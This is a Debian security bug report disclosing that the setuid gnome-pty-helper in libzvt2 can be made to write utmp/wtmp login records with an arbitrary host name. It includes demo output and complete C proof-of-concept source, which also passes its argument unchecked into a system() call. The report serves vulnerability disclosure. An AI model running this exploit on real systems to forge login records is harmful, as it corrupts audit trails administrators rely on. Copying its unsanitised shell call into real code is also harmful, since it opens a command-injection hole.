Package: libzvt2
Version: 1.4.2-19
Severity: critical
File: /usr/sbin/gnome-pty-helper
Justification: root security hole


gnome-pty-helper can be made to write utmp/wtmp records with arbitrary
DISPLAY (host) settings. I am not sure if it can be tricked into erasing
existing records.

Demo output, code below.

Cheers,

Paul Szabo   [EMAIL PROTECTED]   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia


OUTPUT:

[EMAIL PROTECTED]:~$ gnome-pty-helper-exploit xyz & sleep 1; who; ps aux | grep 
psz; sleep 6; who
[1] 31444
Writing utmp (who) record for DISPLAY=xyz
Running who | grep xyz
psz      pts/2        Sep 20 08:40 (xyz)
utmp (who) record will be cleaned up when we exit.
To leave it behind, kill gnome-pty-helper: kill 31446
Sleeping for 5 secs...
psz      pts/2        Sep 20 08:40 (xyz)
psz      pts/1        Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0)
USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND
psz      31358  0.0  0.3 10340 7768 ?        S    08:14   0:00 xterm -T [EMAIL 
PROTECTED] -n [EMAIL PROTECTED] -sb -sl 10000 -ls
psz      31444  0.0  0.0  1484  380 pts/1    S    08:21   0:00 
gnome-pty-helper-exploit xyz
psz      31446  0.0  0.0  1696  604 pts/1    S    08:21   0:00 gnome-pty-helper
psz      31454  0.0  0.0  2496  848 pts/1    R+   08:21   0:00 ps aux
[1]+  Done                    gnome-pty-helper-exploit xyz
psz      pts/1        Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0)


CODE:

/*
    Must be compiled against (within)
        gnome-libs-1.4.2/zvt
    because it uses *.h files from there.
    Code "stolen" from subshell.c .
*/

#include <sys/types.h>

#include "subshell-includes.h"
#define ZVT_TERM_DO_UTMP_LOG 1
#define ZVT_TERM_DO_WTMP_LOG 2
#define ZVT_TERM_DO_LASTLOG  4

/* Pid of the helper SUID process */
static pid_t helper_pid;

/* The socketpair used for the protocol */
int helper_socket_protocol  [2];

/* The parallel socketpair used to transfer file descriptors */
int helper_socket_fdpassing [2];

#include <sys/socket.h>
#include <sys/uio.h>

static struct cmsghdr *cmptr;
#define CONTROLLEN  sizeof (struct cmsghdr) + sizeof (int)

static int
receive_fd (int helper_fd)
{
        struct iovec iov [1];
        struct msghdr msg;
        char buf [32];
        
        iov [0].iov_base = buf;
        iov [0].iov_len  = sizeof (buf);
        msg.msg_iov      = iov;
        msg.msg_iovlen   = 1;
        msg.msg_name     = NULL;
        msg.msg_namelen  = 0;

        if (cmptr == NULL && (cmptr = malloc (CONTROLLEN)) == NULL)
                return -1;
        msg.msg_control = (caddr_t) cmptr;
        msg.msg_controllen = CONTROLLEN;

        if (recvmsg (helper_fd, &msg, 0) <= 0)
                return -1;

        return *(int *) CMSG_DATA (cmptr);
}

static int
s_pipe (int fd [2])
{
        return socketpair (AF_UNIX, SOCK_STREAM, 0, fd);
}

static void *
get_ptys (int *master, int *slave, int update_wutmp)
{
        GnomePtyOps op;
        int result, n;
        void *tag;
        
        if (helper_pid == -1)
                return NULL;

        if (helper_pid == 0){
                if (s_pipe (helper_socket_protocol) == -1)
                        return NULL;

                if (s_pipe (helper_socket_fdpassing) == -1){
                        close (helper_socket_protocol [0]);
                        close (helper_socket_protocol [1]);
                        return NULL;
                }
                
                helper_pid = fork ();
                
                if (helper_pid == -1){
                        close (helper_socket_protocol [0]);
                        close (helper_socket_protocol [1]);
                        close (helper_socket_fdpassing [0]);
                        close (helper_socket_fdpassing [1]);
                        return NULL;
                }

                if (helper_pid == 0){
                        close (0);
                        close (1);
                        dup2 (helper_socket_protocol  [1], 0);
                        dup2 (helper_socket_fdpassing [1], 1);

                        /* Close aliases */
                        close (helper_socket_protocol  [0]);
                        close (helper_socket_protocol  [1]);
                        close (helper_socket_fdpassing [0]);
                        close (helper_socket_fdpassing [1]);

                        execl ("/usr/sbin/gnome-pty-helper", 
"gnome-pty-helper", NULL);
                        exit (1);
                } else {
                        close (helper_socket_fdpassing [1]);
                        close (helper_socket_protocol  [1]);

                        /*
                         * Set the close-on-exec flag for the other
                         * descriptors, these should never propagate
                         * (otherwise gnome-pty-heler wont notice when
                         * this process is killed).
                         */
                        fcntl (helper_socket_protocol [0], F_SETFD, FD_CLOEXEC);
                        fcntl (helper_socket_fdpassing [0], F_SETFD, 
FD_CLOEXEC);
                }
        }
        op = GNOME_PTY_OPEN_NO_DB_UPDATE;
        
        if (update_wutmp & ZVT_TERM_DO_UTMP_LOG){
                if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
                        op = GNOME_PTY_OPEN_PTY_LASTLOGUWTMP;
                else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
                        op = GNOME_PTY_OPEN_PTY_UWTMP;
                else if (update_wutmp & ZVT_TERM_DO_LASTLOG)
                        op = GNOME_PTY_OPEN_PTY_LASTLOGUTMP;
                else
                        op = GNOME_PTY_OPEN_PTY_UTMP;
        } else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG) {
                if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
                        op = GNOME_PTY_OPEN_PTY_LASTLOGWTMP;
                else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
                        op = GNOME_PTY_OPEN_PTY_WTMP;
        } else
                if (update_wutmp & ZVT_TERM_DO_LASTLOG)
                        op = GNOME_PTY_OPEN_PTY_LASTLOG;
        
        if (write (helper_socket_protocol [0], &op, sizeof (op)) < 0)
                return NULL;
        
        n = read (helper_socket_protocol [0], &result, sizeof (result));
        if (n == -1 || n != sizeof (result)){
                helper_pid = 0;
                return NULL;
        }
        
        if (result == 0)
                return NULL;

        n = read (helper_socket_protocol [0], &tag, sizeof (tag));
        
        if (n == -1 || n != sizeof (tag)){
                helper_pid = 0;
                return NULL;
        }

        *master = receive_fd (helper_socket_fdpassing [0]);
        *slave  = receive_fd (helper_socket_fdpassing [0]);
        
        return tag;
}

int main (int argc, char* argv[])
{
        int slave_pty, master_pty;
        void* mytag;
        int log = ZVT_TERM_DO_UTMP_LOG;
        char buf[1000];

printf("Writing utmp (who) record for DISPLAY=%s\n", argv[1]);
setenv("DISPLAY",argv[1],1);

        if ((mytag = get_ptys (&master_pty, &slave_pty, log)) == NULL)
                return;

sprintf(buf,"who | grep %s",argv[1]);
printf("Running %s\n",buf);
system(buf);
printf("utmp (who) record will be cleaned up when we exit.\n");
printf("To leave it behind, kill gnome-pty-helper: kill %d\n",helper_pid);

printf("Sleeping for 5 secs...\n");
sleep (5);
}



-- System Information:
Debian Release: 3.1
Architecture: i386 (i686)
Kernel: Linux 2.6.8-spm0.5
Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968)

Versions of packages libzvt2 depends on:
ii  gdk-imlib1             1.9.14-16.2       imaging library for use with gtk (
ii  libc6                  2.3.2.ds1-22      GNU C Library: Shared libraries an
ii  libglib1.2             1.2.10-9          The GLib library of C routines
ii  libgtk1.2              1.2.10-17         The GIMP Toolkit set of widgets fo
ii  libx11-6               4.3.0.dfsg.1-14   X Window System protocol client li
ii  xlibs                  4.3.0.dfsg.1-14   X Keyboard Extension (XKB) configu
ii  zlib1g                 1:1.2.2-4.sarge.2 compression library - runtime

-- no debconf information


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]

Reply via email to